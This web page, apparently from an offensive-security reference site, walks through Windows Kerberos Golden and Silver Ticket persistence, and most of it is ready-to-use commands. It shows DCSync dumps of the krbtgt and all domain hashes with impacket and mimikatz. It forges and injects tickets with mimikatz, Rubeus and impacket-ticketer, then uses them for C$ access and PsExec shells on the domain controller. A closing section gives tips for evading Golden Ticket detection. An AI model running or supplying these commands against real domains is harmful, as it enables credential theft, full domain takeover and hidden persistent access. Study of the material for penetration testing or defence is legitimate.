Skip to content
HackIndex.io

Windows Golden and Silver Ticket Persistence

4 min read Created Apr 4, 2026 Last updated Jul 10, 2026

Golden and Silver Tickets are forged Kerberos tickets that give persistent authenticated access bypassing standard authentication flows:

  • Golden Ticket: forged TGT signed with the krbtgt hash, grants access to any service in the domain, valid until the krbtgt password is changed twice

  • Silver Ticket: forged TGS for a specific service, signed with that service account's hash, never touches the domain controller during authentication

Both require prior compromise of the relevant account hashes.

Obtaining the krbtgt hash

A Golden Ticket requires the krbtgt account's NT hash and the domain SID. Both come from a DCSync attack, which requires Domain Admin or specific replication rights on the domain controller.

┌──(kali㉿kali)-[~]
└─$ # DCSync from Linux with impacket (requires Domain Admin or replication rights)
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$DC_IP -just-dc-user krbtgt
 
┌──(kali㉿kali)-[~]
└─$ # With hash
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER@$DC_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH -just-dc-user krbtgt
 
┌──(kali㉿kali)-[~]
└─$ # Dump all domain hashes (full DCSync)
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$DC_IP -just-dc 
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7b5b518b1c33d1b22c3d0b70e76a6f90:::
PS C:\Users\Guest\Desktop> # DCSync attack: pulls hashes directly from DC replication
PS C:\Users\Guest\Desktop> mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:krbtgt" exit
 
PS C:\Users\Guest\Desktop> # Get domain SID (needed for ticket forging)
PS C:\Users\Guest\Desktop> mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:Administrator" exit
PS C:\Users\Guest\Desktop> # Look for 'Object Security ID' in output
 
PS C:\Users\Guest\Desktop> # Alternatively get SID with built-in tools
PS C:\Users\Guest\Desktop> Get-ADDomain | Select-Object DomainSID
PS C:\Users\Guest\Desktop> whoami /user # SID of current user: strip last segment for domain SID

Forging a Golden Ticket

With the krbtgt hash and domain SID, you can forge a TGT for any user including accounts that do not exist. The ticket is valid for 10 years by default and works until krbtgt is rotated twice.

PS C:\Users\Guest\Desktop> # Forge ticket and inject into current session (/ptt = pass-the-ticket)
PS C:\Users\Guest\Desktop> mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /krbtgt:$KRBTGT_HASH /ptt" exit
 
PS C:\Users\Guest\Desktop> # Verify ticket is loaded
PS C:\Users\Guest\Desktop> klist
 
PS C:\Users\Guest\Desktop> # Access any service in the domain
PS C:\Users\Guest\Desktop> dir \\dc01.$DOMAIN\C$
PS C:\Users\Guest\Desktop> PsExec.exe \\dc01.$DOMAIN cmd.exe
PS C:\Users\Guest\Desktop> # Forge and inject
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /rc4:$KRBTGT_HASH /ptt
 
PS C:\Users\Guest\Desktop> # Save to file for later use
PS C:\Users\Guest\Desktop> C:\Windows\Temp\Rubeus.exe golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /rc4:$KRBTGT_HASH /outfile:golden.kirbi
┌──(kali㉿kali)-[~]
└─$ # Get domain SID first
┌──(kali㉿kali)-[~]
└─$ impacket-getPac $DOMAIN/$USER:$PASSWORD -targetUser Administrator
 
┌──(kali㉿kali)-[~]
└─$ # Forge ticket
┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -nthash $KRBTGT_HASH -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator
 
┌──(kali㉿kali)-[~]
└─$ # Use ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/Administrator@dc01.$DOMAIN -k -no-pass

Silver Ticket: service-specific persistence

A Silver Ticket targets one specific service. It is signed with the service account's hash rather than krbtgt, so it does not require DC interaction to use and is harder to detect. Common targets: cifs for SMB file access, host for task scheduling, http for WinRM.

PS C:\Users\Guest\Desktop> # Get target service account hash first (e.g. machine account hash for CIFS)
PS C:\Users\Guest\Desktop> # Machine account hash comes from secretsdump or lsadump
 
PS C:\Users\Guest\Desktop> # Forge Silver Ticket for CIFS (SMB file access) on target host
PS C:\Users\Guest\Desktop> mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /target:$TARGET_IP /service:cifs /rc4:$SERVICE_ACCOUNT_HASH /ptt" exit
 
PS C:\Users\Guest\Desktop> # Forge for HOST service (allows task scheduling, PSexec-style access)
PS C:\Users\Guest\Desktop> mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /target:$TARGET_IP /service:host /rc4:$SERVICE_ACCOUNT_HASH /ptt" exit
 
PS C:\Users\Guest\Desktop> # Forge for HTTP (WinRM access)
PS C:\Users\Guest\Desktop> mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /target:$TARGET_IP /service:http /rc4:$SERVICE_ACCOUNT_HASH /ptt" exit
 
PS C:\Users\Guest\Desktop> # Use after injection
PS C:\Users\Guest\Desktop> dir \\$TARGET_IP\C$

Detecting and evading Golden Ticket detection

Modern defenses flag Golden Tickets with unusually long lifetimes (default mimikatz value is 10 years) and tickets for users not present in PAC validation. To reduce detection, set the ticket lifetime to match the domain default (10 hours) and use an existing valid username.

PS C:\Users\Guest\Desktop> # Set ticket lifetime to 10 hours, renewal to 7 days: matches domain defaults
PS C:\Users\Guest\Desktop> mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /krbtgt:$KRBTGT_HASH /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
 
PS C:\Users\Guest\Desktop> # Use AES256 key instead of RC4: less detectable
PS C:\Users\Guest\Desktop> # AES256 key from dcsync: look for 'aes256_hmac' in secretsdump output
PS C:\Users\Guest\Desktop> mimikatz.exe "kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /aes256:$AES256_KEY /ptt" exit

References